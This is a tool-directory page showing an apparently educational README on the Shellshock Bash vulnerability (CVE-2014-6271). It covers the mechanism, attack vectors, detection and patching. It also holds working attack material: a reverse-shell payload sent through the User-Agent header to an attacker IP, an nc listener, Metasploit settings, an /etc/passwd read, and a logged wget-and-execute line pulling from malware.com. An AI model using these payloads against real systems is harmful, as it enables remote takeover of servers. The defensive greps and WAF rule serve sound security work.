Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
-CVE-2014-6271 | Kitploit
Ferramentas/GitHubGitHub/kaleth4/-cve-2014-6271
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e Educação
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Execução Remota de Código via Injeção de Variáveis de Ambiente do Bash

CVE CVSS Type Bash Status

"Uma falha que esteve oculta no Bash por décadas e abalou os alicerces da internet em menos de 24 horas."


Índice

  • O que é Shellshock?
  • Linha do tempo
  • Sistemas afetados
  • Descrição técnica
  • PoC — Prova de Conceito
  • Vetores de ataque
  • Exploração completa
  • Indicadores de comprometimento
  • Mitigação
  • Disclaimer

❓ O que é Shellshock?

Shellshock (também conhecido como Bashdoor) é uma família de vulnerabilidades críticas no interpretador de comandos GNU Bash que permite a um atacante remoto executar comandos arbitrários no sistema alvo.

O erro fundamental: o Bash não interrompia o processamento de uma variável de ambiente ao finalizar a definição de uma função. Qualquer código concatenado depois de () { :; }; era executado automaticamente.

root@kitploit:~
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG

Como servidores web (CGI/Apache), serviços SSH e clientes DHCP convertem cabeçalhos ou parâmetros em variáveis de ambiente do Bash, a superfície de ataque era massiva.


📅 Linha do Tempo

root@kitploit:~
12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
                 El bug existía en Bash desde hacía más de 20 años.

24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
                 Horas después: botnets activas escaneando internet masivamente.

25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.

💻 Sistemas Afetados


🔬 Descrição Técnica

O mecanismo do bug

Quando o Bash importa uma função a partir de uma variável de ambiente, ele lê até o fechamento } da função. Em versões vulneráveis, continuava processando o código posterior em vez de parar.

root@kitploit:~
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerable al inicializarse:
# 1. Lee la definición de función  → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd  ← BUG

Fluxo do ataque via CGI

root@kitploit:~
Atacante                    Servidor Apache (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Convierte headers a env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │───────────────────────────────▶│                                │
   │                               │                                │ Ejecuta cmd
   │                               │                                │ como www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Respuesta + output del cmd   │                                │

🧪 PoC — Prova de Conceito

Verificação básica de vulnerabilidade

root@kitploit:~
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Resultado em sistema VULNERÁVEL:

root@kitploit:~
VULNERABLE
this is a test

Resultado em sistema CORRIGIDO:

root@kitploit:~
this is a test

(ou um erro de sintaxe — nunca imprime "VULNERABLE")


⚔️ Vetores de Ataque

1. CGI-BIN (mais comum)

Servidores web que usam scripts .cgi convertem os cabeçalhos HTTP em variáveis de ambiente do Bash.

root@kitploit:~
Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom

2. SSH com ForceCommand

root@kitploit:~
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'

3. Cliente DHCP

Servidores DHCP maliciosos podem injetar variáveis de ambiente em clientes que usam Bash para processar a resposta DHCP.

4. Variáveis de ambiente diretas

root@kitploit:~
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

💀 Exploração Completa: Reverse Shell

Passo 1: Listener na máquina atacante

root@kitploit:~
nc -lvnp 4444

Passo 2: Payload de reverse shell

root@kitploit:~
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

Passo 3: Enviar a requisição maliciosa

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

Passo 4: Shell obtida

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Módulo Metasploit

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Indicadores de Comprometimento (IOC)

Em logs do Apache/Nginx

root@kitploit:~
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Processos suspeitos

root@kitploit:~
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

Indicadores no sistema

root@kitploit:~
- Novos arquivos executáveis em /tmp, /var/tmp, /dev/shm
- Conexões de saída do servidor web para IPs desconhecidos
- Modificação de /etc/crontab ou /etc/passwd
- Processos bash rodando como www-data sem terminal

🛡️ Mitigação

Correção imediata (PRIORIDADE CRÍTICA)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)

Verificação pós-correção

root@kitploit:~
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Medidas adicionais

root@kitploit:~
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi

# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ Disclaimer

Este repositório destina-se exclusivamente a fins educacionais, pesquisa em segurança cibernética e auditorias de segurança autorizadas. Todas as informações aqui apresentadas são de domínio público. Realizar testes contra sistemas sem autorização explícita é ilegal sob as leis da maioria das jurisdições. O autor não se responsabiliza pelo uso indevido destas informações.


Descoberto por Stéphane Chazelas · Publicado em 24 de setembro de 2014

CVSS Score: 10.0 (Critical) → Posteriormente ajustado a 9.8 en CVSSv3

Baixar ferramenta
ProdutoVersões VulneráveisStatus
GNU Bash1.0.3 – 4.3Corrigido
Linux (Debian/Ubuntu/CentOS/RHEL)Versões anteriores a set/2014Corrigido
Apple macOS / OS X10.10 e anterioresCorrigido (Security Update 2014-005)
Dispositivos IoT com Bash embarcadoMúltiplosVaria conforme o fabricante
Servidores web com CGI sobre ApacheQualquer versão com Bash vulnerávelCorrigido